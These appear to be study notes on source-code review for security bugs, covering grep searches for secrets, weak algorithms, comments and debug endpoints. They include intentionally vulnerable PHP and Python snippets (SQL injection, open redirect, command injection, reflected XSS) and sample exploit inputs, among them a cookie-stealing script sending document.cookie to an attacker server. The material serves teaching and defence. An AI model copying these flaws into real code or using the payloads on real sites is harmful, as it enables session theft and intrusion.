Remember that, most of the time, you don’t have to be a master programmer to conduct a code review in a particular language, As long as you understand one programming language, you can apply your intuition to review a wide variety of software written in different languages.
However, understanding the target’s particular language and architecture will allow you to spot more nuanced bugs.

The Fast Approach: grep Is Your Best Friend

These techniques are speedy and often lead to the discovery of some of the most severe vulnerabilities, but they tend to leave out the more subtle bugs.

Dangerous Patterns

Using the grep command or anything that you can use to search, look for specific functions, strings, keywords, and coding patterns that are known to be dangerous
The presence of these functions does not guarantee a vulnerability but can alert you to possible vulnerabilities

Leaked Secrets and Weak Encryption

• look for these issues by grepping for keywords such as (key, secret, password, encrypt, API, login, or token)
• Grep the names of weak algorithms like ECB, MD4, and MD5
• Grep for specific code import functions in the language you are using with keywords like import, require, and dependencies and search for any CVEs for them in the CVE database
• The process of scanning an application for vulnerable dependencies is called software composition analysis (SCA). The OWASP Dependency-Check tool
• Look for new patches
• Search for developer comments by search for comments chars (#, //) and terms like (todo, fix, completed, config, setup, and removed) in source code
• Search for Debug Functionalities, Configuration Files, and Endpoints
  • Hidden debug functionalities often lead to privilege escalation, You can often find them at special endpoints
  • Search for strings like HTTP, HTTPS, FTP, and dev you might find a URL like this somewhere in the code that points you to an admin panel: http://dev.example.com/admin?debug=1&password=password
  • Configuration files often have the file extensions (.conf, .env, .cnf, .cfg, .cf, .ini, .sys, or .plist)
  • characters that indicate URLs like HTTP, HTTPS, slashes (/), URL parameter markers (?), file extensions (.php, .html, .js, .json), and so on.

The Detailed Approach

Instead of reading the entire codebase line by line, try these strategies to maximize your efficiency

Important Functions

• focus on important functions, such as authentication, password reset, state-changing actions, and sensitive info reads

# vulnerable login func example 
# u can exploit it using admin'--
def login():
 query = "SELECT * FROM users WHERE username = '" + \
 request.username + "' AND password = '" + \
 request.password + "';"
 authed_user = database_call(query)
 login_as(authed_user)

• carefully read the code that processes user input
  • entry points for attackers such as HTTP params, HTTP headers, HTTP request paths, database entries, file reads, and file uploads
  • Analyze carefully and test for injections attacks (XSS, XXE, SQLI, RCE, Open Redirects)

<?php
/*open redirect code snippest example
 can be exploited with attacker.com/example.com, or example.com.attacker.com*/
[...]
if ($logged_in){
 $redirect_url = $_GET['next'];
if preg_match("/example.com/", $redirect_url){
 header("Location: ". $redirect_url);
 exit;
 }
}
[...]
?>

<?php
/*RXSS & Command Injection vulnerable code example*/
 [...]
 $url_path = parse_url($_GET['download_file'], PHP_URL_PATH);
 $command = 'wget -o stdout https://example.com' . $url_path;
 system($command, $output);
 echo "<h1> You requested the page:" . $url_path . "</h1>";
 echo $output; 
 [...]
?>

• we can exploit the XSS using https://example.com/<script>document.location='http://attacker_server_ip/cookie_stealer.php?c='+document.cookie;</script>
• Command injection with something like this
  https://example.com/download?download_file=https://example.com/download;ls